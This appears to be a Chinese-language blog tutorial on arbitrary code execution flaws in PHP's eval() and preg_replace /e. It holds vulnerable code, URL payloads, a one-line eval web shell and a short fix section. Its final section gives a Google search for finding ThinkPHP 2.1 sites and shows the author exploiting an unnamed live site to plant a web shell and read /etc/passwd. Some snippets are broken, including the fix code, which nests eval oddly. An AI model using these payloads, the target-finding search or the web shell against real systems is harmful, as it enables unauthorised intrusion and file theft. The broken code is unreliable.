任意代碼執行漏洞

0x00 什麼是任意代碼執行

  • 當應用在調用一些能將字符串轉化成代碼的函數(如PHP重的eval)時,沒有考慮用戶是否能控制這個字符串,將造成代碼注入漏洞。狹義的代碼注入通常指將可執行代碼注入到當前頁面中,如PHP的eval函數,可以將字符串代表的代碼作爲PHP代碼執行,當用戶能夠控制這段字符串時,將產生代碼注入漏洞(也稱命令執行)。廣義上的代碼注入,可以覆蓋大半安全漏洞的分類。


0x01 爲什麼存在任意代碼執行

  • 幾種常用函數語言,都有將字符串轉化成代碼去執行的相關函數。

  • PHP ===> eval( ),assert( )

  • Python ===> exec( )

  • Asp ===> <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>


0x02 爲什麼使用執行代碼函數

  • 應用有時候會考慮靈活性、簡潔性,在代碼中調用eval之類的函數去處理。

function string2array(%data){
    if($data == '')
        return array();
    @eavl("\$array = $data");
    return $array;
}
//當 $data 接受的字符串是這樣時:
$data = "array(
    'upload_maxsize' => '2048',
    'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
    'watermark_enable' ==> '1',
    )"
//通過eval()函數就可以將字符串‘array(....)’作爲數組賦值給$array,這樣會大大的提升代碼的靈活性和簡潔性。


0x03 漏洞分類

  • eval()、assert()  (不常見)

  • preg_replace + /e 模式


0x04 漏洞利用(本地測試)

  • eval() ==>

#1:
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
/*
    payload:
        ?data=phpinfo()
        ?data=1;phpinfo()
        ?data=${phpinfo()}
        ?data=${@eval($_POST[x])}  #一句話***,可以用菜刀連接
*/
 ?>
 
#2:
<?php
$data = $_GET['data'];
echo "\$ret= '$data'";
eval("\$ret = strtolower('$data');");
echo $ret;
/*
    payload:
        ?data=');phpinfo();//
        ?data=');@eval($_POST[a]);//
*/
 ?>
 
#3:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
/*
    payload
        ?data={${phpinfo()}}
        ?data=1");phpinfo();//
        ?data=${@eval($_POST[x])}
*/
 ?>
  • preg_replace() ==>

<?php
$data = $_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data);
echo $ret;
/*
    payload:
        ?data=<data>${phpinfo()}</data>
    注:PHP 5.5.0 /e 修飾符已經被棄用
*/
 ?>


0x05 修復方案

  • eval() ==>

  • 能使用json保存數組、對象就是用json,不要將PHP對象保存成字符串,否則讀取的時候就需要使用eval

  • 對於必須使用eval的情況,一定要保證用戶不能輕易接觸eval的參數(或用正則嚴格判斷輸入的數據格式)。

  • 對於字符串,一定要使用單引號包裹可控代碼,並在插入前進行addslashes

  • $data = addslashes($data)

  • eval("\$data = eval('$data');")

  • preg_replace() ==>

  • 放棄使用preg_replace的/e修飾符

  • 使用preg_replace_callback()替換

  • 如果必須使用preg_replace()+e修飾符,請保證第二個參數中,對於正則匹配出的對象,用單引號包裹


0x06 實例測試

  • 前面說了一大堆理論,現在來找個實例實際測試下。(本來想把網址公開的想想還是算了,這個漏洞的破壞性還是挺大的,就不公開了,我也怕“從web安全到派出所”......)

  • 儘管不會公開網址,但是還會告訴大家怎麼去找這種存在 任意代碼執行 的網站

  • ok,下面開始一步一步去實現漏洞的利用

  • 任意代碼執行漏洞的存在環境:thinkphp 版本:2.1 

  • google hacking 也就是谷歌搜索啊: 

intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"
爲什麼thinkphp這個版本存在 任意代碼執行 漏洞,出現漏洞的代碼是什麼我在這就不提了,大家
有興趣的可自行百度。
  • 測試目標url:按照上面說的我們先來測試看看時候存在任意代碼執行

wKiom1eWDeXTuOMGAAJUPDicuVY248.png-wh_50

  • biubiubiu.....存在代碼執行漏洞

  • 直接上一句話吧.....

  • id/{${@eval($_POST[x])}}.html

wKiom1eWEvrj8XrqAAOME-fwxAM267.png-wh_50

  • 返回當前路徑:id/{${exit(print(getcwd()))}}.html

解釋下這句:getcwd() 返回當前工作路徑
            print()  打印一下
            exit()   停止加載,網站停止渲染只會顯示當前工作路徑
  • 讀取文件:

  • id/{${exit(var_dump(file_get_contents($_POST[f])))}}.html

  • f=/etc/passwd

wKiom1eWFJzB1HrYAARxFdT0x8s274.png-wh_50

  • ok,現在利用完畢

  • 本文有什麼不對的地方,歡迎大家指正

  • 歡迎大家交流學習

  • 希望大家只用來做測試,不要搞破壞。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章